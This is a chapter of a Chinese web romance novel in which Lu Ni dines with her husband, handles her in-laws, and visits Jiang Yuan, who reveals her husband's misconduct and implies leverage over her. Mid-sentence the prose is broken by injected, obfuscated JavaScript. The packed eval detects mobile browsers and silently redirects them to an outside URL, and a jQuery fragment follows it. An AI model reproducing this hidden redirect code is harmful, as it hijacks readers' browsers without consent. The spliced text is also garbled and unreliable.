15.chapter15
作品:《岸口》 chapter15
等陆霓把手里的事情做完,陈延已经决定了,说去吃附近的韩餐。
因为距离不远,那边也不好停车,两人步行十五分钟就到了。
但其实老板是延吉人,每次客人混淆,老板都会强调他们是做朝鲜美食的。陆霓印象深刻,他们谈恋爱的时候也来吃过几次。
陈延依旧含糊不清,陆霓也会像老板一样纠正他,但陈延并不改,下次还这么说,可能对他来说随便吃个饭,都是无足轻重的小细节。
后来陆霓也就不提了,对牛弹琴。
已经九点了,店里人挺多,差一点就要排队。服务员刚把他们往里面引,后面又进来人,另一个服务员问:“先生几位?”
陈延回头看一眼,是蒋垣,“这么巧蒋总,现在才吃晚饭吗?”
“你们也是?”
陈延主动邀约:“要不要一起?”
陆霓没说话,她谁也没看,只顾低头从包里拿出纸巾来擦嘴上的唇膏,等会要吃饭的。她擦嘴的动作完全不粗暴,是用抿的,唇上的高光油亮变成哑光的,但依然润泽,有种淡雅不喧兵夺主,却生活精致的感觉。
蒋垣说:“不方便,算了。”
陈延意会到,以为蒋垣约了人才不方便,就没有继续邀请,又说了几句话便进去落了座。
陆霓拿到菜单开始点菜,陈延懒得看,让陆霓点他想吃的,见蒋垣并不像等人的样子,“这名不见经传的小饭馆生意这么好,熟人拼桌也无所谓,不然要排那么长的队。”
陆霓说:“你们是同事,但我和对方又不是可以吃饭的关系,人家拒绝也没错吧?”
陈延倒了杯大麦茶,“你说的也对。”
话音刚落,挺凑巧的,服务员给门口男人安排的桌子,就在他们旁边,陈延摇头笑笑,他果然是一个人来吃饭的。
陆霓原本不怎么饿,但是进来闻到刺啦窜香的炭火烤肉味,又觉得胃口被打开了。她晚上不能吃太油腻,就给自己点了碗冷面,有牛肉有番茄片,荞麦也很健康。
陈延打断她:“你生理期是不是要到了,吃冰会肚子疼吧?”
“你记错了。”陆霓合上菜单,抬头就能看见陈延后面的人,他也正看向她,眼神无声。
陆霓坐在陈延对面,她穿的还是上次那件针织开衫,里面是白T,脖子里的珍珠吊坠荡出来,脸上清淡无妆,发髻低挽,坐姿也端端正正,很有贤妻良母的风范。
“天凉了,那也不要吃,会肚子疼。”陈延跟服务生说,冷面里不要放冰碴。
等饭的时候两人又聊起了天。他们两周没见面,陈延在上海忙的脚不沾地,跟陆霓打电话的时间都没有。
但是这种嘈杂的环境里,也确实不适合问一些私密的问题:比如谁给陆霓发的短信。再比如:她三姐的丈夫死了。
陈延便挑了些无关紧要的小事,除了父母那边陆霓得经常过去照看,他不在家的这段时间,提醒陆霓在门口放一双他的鞋子。
陆霓轻笑:“你这有点看不起物业安保了吧?”
陈延说:“问题未必出在他们身上,送外卖和送快递的天天来,都是男的,你知道哪天哪个人忽然上班上疯了,想报复社会。”
陆霓觉得有点道理。
不知怎么的,又说起了小龙来,“那傻缺小孩儿,你准备一直放在店里让他干体力活儿吗?”
陆霓说:“你想说什么?”
“天天冷着脸,确定可以招揽客人?”
“长得好看嘛,很多年轻小女孩儿喜欢他的。”陆霓说,“但是你提醒我了,在这个社会上还是要有一技之长,青春饭不能吃一辈子。小龙没有读书的脑子,我想让他学一门技术,你有好的建议吗?”
“参加选秀出道去吧,只用脸,不用脑子。”
陆霓似嗔似怪地瞪了陈延一眼。
陈延言归正传:“我想一想,到时候告诉你。”
食物终于端上来了,陆霓便不再闲聊。
她感觉陈延今天的话有点密,他平时并不是一个话多的人,能不说就不说,更爱睡觉。也许是太长时间不见了吧。
他们吃到一半,隔壁桌已经准备结账离开。陆霓忍不住再次看过去,桌上食物多半没动,人当然不会分出注意力看她,肩膀宽的看不见脸。
*
陈延周末没过完就又走了。
陆霓照例去公婆家,没有告诉他们陈延出长差的事,只说有事来不了。郑明华唉声叹气,怒其不争。
陆霓陪她出门逛街买衣服,承诺今天的消费都她来买单,郑明华还是开心不起来,“人都老成这个样子,穿什么都不会好看的。”
“妈妈,你别这样说。您想要什么就跟我说,能满足的我尽量满足。”陆霓哄老人开心。
郑明华摊牌:“我希望你们赶紧生个孩子,让我和你爸有个盼头。”每天两个老不死的,家里快有老人味儿了,一点活力都没有。
这个陆霓是真的没法办到。
郑明华做不到儿孙自有儿孙福,她就是个传统且庸俗的人,她在这两个小的身上投资太多,要什么给什么,钱,房子,就算扔个石子儿到水里还能听个响。
但这俩比基金还坑,只拿钱不办事,一点儿收回本的迹象都没有。
后面陆霓不愿意一个人面对压力,再去随便坐一下就溜,绝不逗留挨批。
到了十一国庆,和中秋连着放假,节日氛围浓厚。
陈延和陆霓通话,跟她说这几天依然很忙,中秋可能不回来,让她找个借口跟父母搪塞过去。
陆霓上学的时候一个人,也不回家过中秋,时间短,路程长。
陈延的爸妈却很明锐地察觉了问题,“他是不是工作上出问题了?”
陆霓安慰他们,轻描淡写地说,有问题陈延自己会解决,他们跟着着急也没用。唯一的支持就是不打扰,让他安心处理。
话是这样说,但太过理智也不行,郑明华和陈父有自己的担心,陈延已经出轨过一次,人心隔阂一旦有了未必能轻易阖上。
“霓霓,他是你老公,你们两个是最亲的人,将来要过一辈子的,还是要你去关心他才行。”
陆霓受不了,拿了手机出门,回到店里。线下生意不错,平台订单也多,还有急单,晚上十点还在发消息预订。
陆霓忙到隔天下午。中秋节,其他店员都已经回家了,小龙还在吭哧吭哧地送,等他把最后一单送完,陆霓也准备提前关店了。
小龙迟迟没回来,陆霓就只好等着他。
她开始仔细琢磨,陈延在工作上可能真的遇到了些麻烦,不然再忙也不至于中秋国假都在工作。但已知短信是蒋垣给她发的,并不是有人在盯着陈延,陆霓的担忧也就排除了。
又没头绪了。
乍然响起的微信提示音把陆霓吓了一跳,她从沙发上起来,去拿手机,小龙说客户让他把花拿回去。
陆霓翻排单,最后一单是送到蒋垣家里的。
以陆霓对小龙的了解,实际情况只会更复杂一些,比如出了一点小问题,可以道歉解决,但因为小龙不会说话,对方看不懂手语,又或者小龙打字的语序问题,人家以为他不礼貌。
矛盾随之激化。
陆霓让小龙先回来,不多时,小孩儿就带着东西垂头丧气地进门了,难过地跟陆霓告状,他道歉了,对方不理他,冷冰冰的。看他那表情就让人心疼。
陆霓让他别管了,她来处理。她把花束修复了一番,增加几个色调重新包装。
*
陆霓把装着花束的纸袋子放在副驾驶,确保不会再弄坏,手机里搜索蒋垣的地址。
快到了才给他打电话,问方不方便,她重新给他送。天色有点暗,电话那头的声音也沉了又沉,没什么意外,让她直接上去。
她在路边抻了一会儿,脚尖轻踩油门,开到小区门口,保安什么都没问,看了车牌号后直接放行。
陆霓已经确认了某个猜想,他在等着她自己掉进陷阱,也在等她主动去找他。
突然,她心里有片刻的荒诞和虚无。
这种糟糕而绝望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432862|184601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就像读卞之琳诗的前半句,下午五点钟醒来的人最孤独,而后半句断章了。
她揉了揉干涩的眼睛,微笑跟人说麻烦了。
停车,上楼,敲门。
等了半分钟才有人来开,是男人还是女人呢?陆霓突然想到小龙之前说,在他家见到过女人。
她预想过的一百种假设都没发生,蒋垣刚洗完澡,套着灰色的浴袍,正在系带子,头发还在滴水就出来了。
陆霓瞬间尴尬到面红耳赤,这种不礼貌感就像她把车开进人被窝里。她站在门口说:“我重新做了一个,你看看行吗?如果小龙有做的不对的地方,我代替他跟你道歉。”
不算夸张,本来小本生意,控制成本,老板亲自送货的情况时有发生。
蒋垣看了一眼,又“哦”了一声。
门还没关,陆霓准备要走,蒋垣却说:“进来吧。”
“很晚了。”她始终记得自己是已婚的女人,的确不方便。
“既然这么晚,你只是来送个花吗?”
陆霓在门外地摊上站着,被里面的灯光照得头脑发白,心一横走进去了。
蒋垣松松散散地靠坐在沙发上,拿了烟捏在手里,不轻不重的力道,烟丝被揉碎了,簌簌进垃圾桶里。
陆霓开门见山地问道:“陈延工作上的事你知道吗?”
“你自己的丈夫,你不直接问他,你们夫妻感情已经貌合神离到这个程度了吗?”
陆霓说:“我当然会问。但跟从你这了解情况,不矛盾吧?”
“他的确出事了,而且是不小的事。”蒋垣说:“我猜他是觉得你帮不上忙,没跟你说。他在节前被查出来利用职务之便,涉嫌机会转投,致使公司损失重大利益。”
也就陈延是把项目的信息隐瞒下来,不纳入公司的正常投资流程,以个人名义秘密转给另一家公司。
他问陆霓:“你猜这个钱,进到他兜里没有?”
陆霓思忖一会儿,点点头:“确定吗?你不用吓我,等到大项目有收益再退出来,少说得一年半载,几天就能弄清真相吗?”
蒋垣收了目光,语调不高不低地说:“那你觉得我是来当傀儡的吗?从我一来,就比你先知道他出轨,出轨对象是谁,他做的每一个项目,都有我的人在跟踪。”
他要这么说,陆霓没办法不相信,陈延在上海的项目他就跟过去了。所以陆霓在酒店碰见他,也不算巧合。
陆霓在喉间轻轻吸气吐气,调整呼吸。
她的一切表情被蒋垣尽收眼底,包括脖子到脸的涨红。然后他几不可察,又阴恻恻地笑了。
他其实是一个比陈延更冷血的人,陈延只是在人际关系上冷淡,而他是人前温和谦逊,不声不响地做事狠绝。
“你以为我做这一切是为了你吗?”蒋垣看她惊慌失措的表情,似乎相当满意,“我初来乍到,多有不服的人,总要挑那么一两个刺儿头整一整,来建立威信。”
这次轮到陆霓一言不发,还没说话,嗓子就已经沙哑。他越发逗趣,嘴角笑笑,“事在人为,一切还有可操作的空间,我可以在这个时候保他,也可以踩他。”
陈延一旦出事,陆霓的富太太生活也就梦碎了,她不知道说什么好了。
蒋垣把回旋镖亲自甩到她身上,“上次,你说我逼你,那你现在重新定义一下,什么叫逼迫。”
陆霓彻底像丧失语言功能,她喉咙滚动,咽了口唾液,问道:“你跟我说这些,想让我怎么做?”
蒋垣懒洋洋地说:“我对别人的老婆没兴趣,不用你陪我睡觉。”
如果陆霓手里有水,绝对会泼到他脸上,“随便你吧,爱怎么样就怎么样。”
她扭身就走,走到门口被男人的手臂拦下,她看着他,用那种野生动物一样,不加掩饰的凶残和敌意,是她的本来面目。
蒋垣俯身弯腰,凑近盯着她的瞳孔。
眼如点漆,明眸善睐,美人嗔怒……她是真的很漂亮,看着纯良无害,“很可恶是吧,我当然不是好人。但是你,就没有做过恶吗?”